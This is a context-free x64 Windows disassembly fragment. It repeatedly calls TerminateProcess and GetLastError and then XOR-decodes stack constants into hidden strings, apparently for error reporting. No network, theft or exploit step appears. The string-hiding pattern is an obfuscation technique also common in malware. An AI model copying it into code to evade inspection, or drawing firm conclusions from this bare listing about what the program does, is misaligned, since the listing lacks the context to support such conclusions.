lea rcx, [rsp + 0x1700]
call fcn.140cded0c
nop
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x158], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x600], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x608], rax
movabs rax, 0x77405c133bd661ae
mov qword [rsp + 0x610], rax
movabs rax, 0x961c0572eb91d0a5
mov qword [rsp + 0x618], rax
movabs rax, 0x6ac7cf2f43bb8f03
mov qword [rsp + 0x620], rax
movabs rax, 0x23c87131ea9e30a3
mov qword [rsp + 0x628], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xaf0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xaf8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xb00], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xb08], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xb10], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xb18], rax
movdqa xmm0, xmmword [rsp + 0xaf0]
xorps xmm0, xmmword [rsp + 0x600]
movdqa xmmword [rsp + 0x600], xmm0
movdqa xmm1, xmmword [rsp + 0xb00]
xorps xmm1, xmmword [rsp + 0x610]
movdqa xmmword [rsp + 0x610], xmm1
movdqa xmm0, xmmword [rsp + 0xb10]
xorps xmm0, xmmword [rsp + 0x620]
movdqa xmmword [rsp + 0x620], xmm0
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x1ac8]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1230], xmm0
lea rdx, [rsp + 0x1230]
lea rcx, [rsp + 0x1ad8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1560], xmm1
lea rdx, [rsp + 0x1560]
lea rcx, [rsp + 0x1ae8]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1450], xmm1
lea r8, [rsp + 0x158]
lea rdx, [rsp + 0x1450]
lea rcx, [rsp + 0x1d70]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x1718]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1718]
call fcn.140cded0c
nop
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
call fcn.140cf5acc
int3
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x174], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x5d0], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x5d8], rax
movabs rax, 0x3f51080e2cc661ae
mov qword [rsp + 0x5e0], rax
movabs rax, 0xd91d093bfb93d0a4
mov qword [rsp + 0x5e8], rax
movabs rax, 0x38b89d6145b1af57
mov qword [rsp + 0x5f0], rax
movabs rax, 0x23b50a11d0ec22aa
mov qword [rsp + 0x5f8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xbd0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xbd8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xbe0], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xbe8], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xbf0], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xbf8], rax
movdqa xmm0, xmmword [rsp + 0xbd0]
xorps xmm0, xmmword [rsp + 0x5d0]
movdqa xmmword [rsp + 0x5d0], xmm0
movdqa xmm1, xmmword [rsp + 0xbe0]
xorps xmm1, xmmword [rsp + 0x5e0]
movdqa xmmword [rsp + 0x5e0], xmm1
movdqa xmm0, xmmword [rsp + 0xbf0]
xorps xmm0, xmmword [rsp + 0x5f0]
movdqa xmmword [rsp + 0x5f0], xmm0
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x1af8]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x14a0], xmm0
lea rdx, [rsp + 0x14a0]
lea rcx, [rsp + 0x1b08]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x14b0], xmm1
lea rdx, [rsp + 0x14b0]
lea rcx, [rsp + 0x1b18]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x14c0], xmm1
lea r8, [rsp + 0x174]
lea rdx, [rsp + 0x14c0]
lea rcx, [rsp + 0x1d90]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x1730]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1730]
call fcn.140cded0c
nop
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x178], eax
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x5a0], rax
movabs rax, 0x551cae4015458b22
mov qword [rsp + 0x5a8], rax
movabs rax, 0x3f51080e2cd261ae
mov qword [rsp + 0x5b0], rax
movabs rax, 0xd91d093bfb93d0a4
mov qword [rsp + 0x5b8], rax
movabs rax, 0x38b89d6145b1af57
mov qword [rsp + 0x5c0], rax
movabs rax, 0x23b50a11d0ec22aa
mov qword [rsp + 0x5c8], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xc00], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xc08], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xc10], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xc18], rax
movabs rax, 0x4afdbd4031c9ca23
mov qword [rsp + 0xc20], rax
movabs rax, 0x23c87131ea9e4dd8
mov qword [rsp + 0xc28], rax
movdqa xmm0, xmmword [rsp + 0xc00]
xorps xmm0, xmmword [rsp + 0x5a0]
movdqa xmmword [rsp + 0x5a0], xmm0
movdqa xmm1, xmmword [rsp + 0xc10]
xorps xmm1, xmmword [rsp + 0x5b0]
movdqa xmmword [rsp + 0x5b0], xmm1
movdqa xmm0, xmmword [rsp + 0xc20]
xorps xmm0, xmmword [rsp + 0x5c0]
movdqa xmmword [rsp + 0x5c0], xmm0
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x1b28]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x14d0], xmm0
lea rdx, [rsp + 0x14d0]
lea rcx, [rsp + 0x1b38]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x14e0], xmm1
lea rdx, [rsp + 0x14e0]
lea rcx, [rsp + 0x1b48]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x14f0], xmm1
lea r8, [rsp + 0x178]
lea rdx, [rsp + 0x14f0]
lea rcx, [rsp + 0x1db0]
call fcn.140191008
nop
mov rdx, rax
lea rcx, [rsp + 0x1748]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1748]
call fcn.140cded0c
nop
call fcn.140cf5acc
nop
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x420], rax
movabs rax, 0x158a349185a842d
mov qword [rsp + 0x428], rax
movabs rax, 0x364b4f133a81158f
mov qword [rsp + 0x430], rax
movabs rax, 0xb7726a3afa80c0a2
mov qword [rsp + 0x438], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xef0], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xef8], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xf00], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xf08], rax
movdqa xmm0, xmmword [rsp + 0xef0]
xorps xmm0, xmmword [rsp + 0x420]
movdqa xmmword [rsp + 0x420], xmm0
movdqa xmm1, xmmword [rsp + 0xf00]
xorps xmm1, xmmword [rsp + 0x430]
movdqa xmmword [rsp + 0x430], xmm1
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x1bb8]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1660], xmm0
lea rdx, [rsp + 0x1660]
lea rcx, [rsp + 0x1838]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1670], xmm1
lea rdx, [rsp + 0x1670]
lea rcx, [rsp + 0x1848]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1150], xmm1
lea rdx, [rsp + 0x1150]
lea rcx, [rsp + 0x1e10]
call fcn.140190fc0
nop
mov rdx, rax
lea rcx, [rsp + 0x1790]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x1790]
call fcn.140cded0c
nop
lea rcx, [rsp + 0x98]
call fcn.140190f30
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
movabs rax, 0xe90b0d2149db0583
mov qword [rsp + 0x480], rax
movabs rax, 0x158a349185a842d
mov qword [rsp + 0x488], rax
movabs rax, 0x3942410969f20e85
mov qword [rsp + 0x490], rax
movabs rax, 0xb7724b7eed87c1b7
mov qword [rsp + 0x498], rax
movabs rax, 0xc9317f442dba6acf
mov qword [rsp + 0xf10], rax
movabs rax, 0x213cca25792cea64
mov qword [rsp + 0xf18], rax
movabs rax, 0x5725287a49a141c1
mov qword [rsp + 0xf20], rax
movabs rax, 0xb7726a1b9ff2b5d6
mov qword [rsp + 0xf28], rax
movdqa xmm0, xmmword [rsp + 0xf10]
xorps xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0x480], xmm0
movdqa xmm1, xmmword [rsp + 0xf20]
xorps xmm1, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x490], xmm1
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x1858]
call fcn.140155a20
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x1160], xmm0
lea rdx, [rsp + 0x1160]
lea rcx, [rsp + 0x1868]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1170], xmm1
lea rdx, [rsp + 0x1170]
lea rcx, [rsp + 0x1878]
call fcn.14015e4b8
movups xmm1, xmmword [rax]
movdqu xmmword [rsp + 0x1190], xmm1
lea rdx, [rsp + 0x1190]
lea rcx, [rsp + 0x1e30]
call fcn.140190fc0
nop
mov rdx, rax
lea rcx, [rsp + 0x17a8]
call fcn.14015e464
lea rdx, [0x141007ae8]
lea rcx, [rsp + 0x17a8]
call fcn.140cded0c
int3